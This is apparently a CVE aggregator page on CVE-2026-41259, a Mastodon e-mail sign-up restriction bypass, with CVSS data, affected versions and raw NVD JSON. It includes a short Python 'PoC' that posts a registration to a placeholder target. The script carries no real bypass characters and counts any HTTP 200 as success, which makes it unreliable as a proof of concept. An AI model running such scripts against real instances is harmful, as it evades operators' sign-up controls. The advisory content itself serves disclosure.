Security Vulnerability Report
中文
CVE-2026-41259 CVSS 7.5 HIGH

CVE-2026-41259

Published: 2026-04-23 19:17:30
Last Modified: 2026-04-28 18:50:54

Description

Mastodon is a free, open-source social network server based on ActivityPub. Prior to v4.5.9, v4.4.16, and v4.3.22, Mastodon allows restricting new user sign-up based on e-mail domain names, and performs basic validation on e-mail addresses, but fails to restrict characters that are interpreted differently by some mailing servers. This vulnerability is fixed in v4.5.9, v4.4.16, and v4.3.22.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
Mastodon < v4.3.22
Mastodon < v4.4.16
Mastodon < v4.5.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-41259: Mastodon Email Registration Restriction Bypass # Target: Mastodon instance < v4.5.9 target_url = "https://target-mastodon-instance/api/v1/accounts" # The payload may vary depending on the specific character handling bug. # Example: Using unicode variations or special characters accepted by MTA. email_payload = "[email protected]" # Attacker controlled email with bypass chars username = "attacker_user" password = "SecurePass123!" data = { "username": username, "email": email_payload, "password": password, "agreement": True, "locale": "en" } response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] Potential Bypass Successful: Registration request accepted.") else: print("[-] Registration failed or blocked.") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41259", "sourceIdentifier": "[email protected]", "published": "2026-04-23T19:17:30.027", "lastModified": "2026-04-28T18:50:54.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastodon is a free, open-source social network server based on ActivityPub. Prior to v4.5.9, v4.4.16, and v4.3.22, Mastodon allows restricting new user sign-up based on e-mail domain names, and performs basic validation on e-mail addresses, but fails to restrict characters that are interpreted differently by some mailing servers. This vulnerability is fixed in v4.5.9, v4.4.16, and v4.3.22."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-841"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3.22", "matchCriteriaId": "BFC3E504-AD0E-419F-92CD-6D9BBB400C55"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.16", "matchCriteriaId": "3A46E8CF-36DF-4A93-AF47-9B4A129D8E87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.9", "matchCriteriaId": "82AB4B93-8B3E-4A04-BE44-BF4B1D924132"}]}]}], "references": [{"url": "https://github.com/mastodon/mastodon/security/advisories/GHSA-5r37-qpwq-2jhh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}